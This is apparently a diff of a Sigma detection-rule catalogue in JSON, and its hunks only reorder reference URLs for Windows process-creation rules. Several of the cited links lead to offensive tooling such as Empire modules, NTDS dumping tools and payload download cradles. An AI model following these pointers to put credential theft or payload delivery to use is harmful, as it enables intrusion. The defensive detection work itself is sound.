"https://en.wikipedia.org/wiki/HTML_Application", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_pattern.yml", "https://www.echotrail.io/insights/search/mshta.exe", - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_pattern.yml" + "https://en.wikipedia.org/wiki/HTML_Application", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/" ], "tags": [ "attack.execution", @@ -50061,8 +50059,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/n1nj4sec/status/1421190238081277959", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshtml_runhtmlapplication.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshtml_runhtmlapplication.yml", + "https://twitter.com/n1nj4sec/status/1421190238081277959" ], "tags": [ "attack.defense_evasion" @@ -50084,8 +50082,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/200_okay_/status/1194765831911215104", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_cwd.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_cwd.yml", + "https://twitter.com/200_okay_/status/1194765831911215104" ], "tags": [ "attack.defense_evasion", @@ -50108,8 +50106,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_web_install.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_web_install.yml", + "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/" ], "tags": [ "attack.defense_evasion", @@ -50134,10 +50132,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", - "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msoffice.yml", "Reegun J (OCBC Bank)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msoffice.yml" + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", + "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191" ], "tags": [ "attack.command_and_control", @@ -50160,8 +50158,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_discovery_command.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_discovery_command.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules" ], "tags": [ "attack.discovery", @@ -50184,9 +50182,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md", "https://attack.mitre.org/software/S0108/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_dll_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_dll_persistence.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md" ], "tags": [ "attack.privilege_escalation", @@ -50210,10 +50208,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/", "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_firewall_disable.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_firewall_disable.yml", + "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/" ], "tags": [ "attack.defense_evasion", @@ -50237,8 +50235,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsupport_rat_exec_location.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsupport_rat_exec_location.yml", + "https://redcanary.com/blog/misbehaving-rats/" ], "tags": [ "attack.defense_evasion" @@ -50260,8 +50258,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows" ], "tags": [ "attack.discovery", @@ -50284,8 +50282,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_listing_connections.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_listing_connections.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery" ], "tags": [ "attack.discovery", @@ -50308,12 +50306,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", "https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html", - "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", - "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html", + "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml" + "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", + "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html" ], "tags": [ "attack.discovery", @@ -50348,8 +50346,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/ShadowChasing1/status/1552595370961944576", - "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use.yml", + "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior" ], "tags": [ "attack.execution", @@ -50372,8 +50370,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use_password_plaintext.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use_password_plaintext.yml", + "Internal Research" ], "tags": "No established tags" }, @@ -50393,8 +50391,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_kernel_driver_via_sc.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_kernel_driver_via_sc.yml", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/" ], "tags": [ "attack.persistence", @@ -50418,9 +50416,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_service_creation.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_service_creation.yml" + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" ], "tags": [ "attack.persistence", @@ -50445,12 +50443,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ngrok.com/docs", "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", - "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/.", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ngrok_pua.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ngrok_pua.yml", + "https://ngrok.com/docs", + "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection" ], "tags": [ "attack.command_and_control", @@ -50473,9 +50471,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://nmap.org/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nmap.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nmap.yml" + "https://nmap.org/" ], "tags": [ "attack.discovery", @@ -50498,8 +50496,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://pentestlaboratories.com/2021/12/08/process-ghosting/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml", + "https://pentestlaboratories.com/2021/12/08/process-ghosting/" ], "tags": [ "attack.defense_evasion" @@ -50544,14 +50542,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://github.com/zcgonvh/NTDSDumpEx", "https://pentestlab.blog/tag/ntds-dit/", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", - "https://github.com/zcgonvh/NTDSDumpEx", "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration" ], "tags": [ "attack.credential_access", @@ -50575,9 +50573,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdsutil_usage.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdsutil_usage.yml", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)" ], "tags": [ "attack.credential_access", @@ -50600,9 +50598,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/med0x2e/status/1520402518685200384", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntlmrelay.yml", "https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntlmrelay.yml" + "https://twitter.com/med0x2e/status/1520402518685200384" ], "tags": [ "attack.privilege_escalation", @@ -50626,8 +50624,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml", + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol" ], "tags": [ "attack.defense_evasion", @@ -50650,11 +50648,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", - "https://twitter.com/Hexacorn/status/1187143326673330176", "https://redcanary.com/blog/raspberry-robin/", + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_odbcconf.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_odbcconf.yml", + "https://twitter.com/Hexacorn/status/1187143326673330176" ], "tags": [ "attack.defense_evasion", @@ -50701,9 +50699,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_openwith.yml", "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", - "https://twitter.com/harr0ey/status/991670870384021504", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_openwith.yml" + "https://twitter.com/harr0ey/status/991670870384021504" ], "tags": [ "attack.defense_evasion", @@ -50726,9 +50724,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook.yml", "https://github.com/sensepost/ruler", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook.yml" + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" ], "tags": [ "attack.execution", @@ -50776,8 +50774,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/x86matthew/status/1505476263464607744?s=12", - "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml", + "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b" ], "tags": "No established tags" }, @@ -50797,8 +50795,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parent_of_conhost.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parent_of_conhost.yml", + "https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html" ], "tags": [ "attack.execution", @@ -50823,8 +50821,8 @@ "refs": [ "http://www.xuetr.com/", "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", - "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pchunter.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pchunter.yml", + "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/" ], "tags": "No established tags" }, @@ -50844,9 +50842,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/", "https://twitter.com/harr0ey/status/989617817849876488", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pcwutl.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pcwutl.yml", + "https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/" ], "tags": [ "attack.defense_evasion", @@ -50895,8 +50893,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Oddvarmoe/status/993383596244258816", "https://twitter.com/_st0pp3r_/status/1560072680887525378", + "https://twitter.com/Oddvarmoe/status/993383596244258816", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester_parent.yml" ], "tags": [ @@ -50922,11 +50920,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_del.yml", "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_del.yml" + "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack" ], "tags": [ "attack.defense_evasion", @@ -50950,8 +50948,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna", - "https://twitter.com/vysecurity/status/977198418354491392", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_hex_ip.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_hex_ip.yml", + "https://twitter.com/vysecurity/status/977198418354491392" ], "tags": [ "attack.defense_evasion", @@ -50975,9 +50973,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/", "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_port_forward.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_port_forward.yml", + "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/" ], "tags": [ "attack.command_and_control", @@ -51002,8 +51000,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_usage.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_usage.yml", + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/" ], "tags": [ "attack.command_and_control", @@ -51050,8 +51048,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_cradles.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_cradles.yml", + "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd" ], "tags": "No established tags" }, @@ -51071,8 +51069,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_iex.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_iex.yml", + "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd" ], "tags": [ "attack.execution", @@ -51095,11 +51093,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_launch.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_launch.yml", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", + "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64" ], "tags": [ "attack.execution", @@ -51122,8 +51120,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_uac_bypass.yml" ], "tags": [ @@ -51149,10 +51147,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets", "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encode.yml", "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encode.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets" ], "tags": [ "attack.execution", @@ -51223,8 +51221,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/PythonResponder/status/1385064506049630211", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_getprocess_lsass.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_getprocess_lsass.yml", + "https://twitter.com/PythonResponder/status/1385064506049630211" ], "tags": [ "attack.credential_access", @@ -51247,8 +51245,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_hidden_b64_cmd.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_hidden_b64_cmd.yml", + "http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/" ], "tags": [ "attack.execution", @@ -51271,8 +51269,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2" ], "tags": "No established tags" }, @@ -51366,8 +51364,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/ankit_anubhav/status/1518835408502620162", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sub_processes.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sub_processes.yml", + "https://twitter.com/ankit_anubhav/status/1518835408502620162" ], "tags": "No established tags" }, @@ -51437,9 +51435,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Print/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_print.yml", "https://twitter.com/Oddvarmoe/status/985518877076541440", - 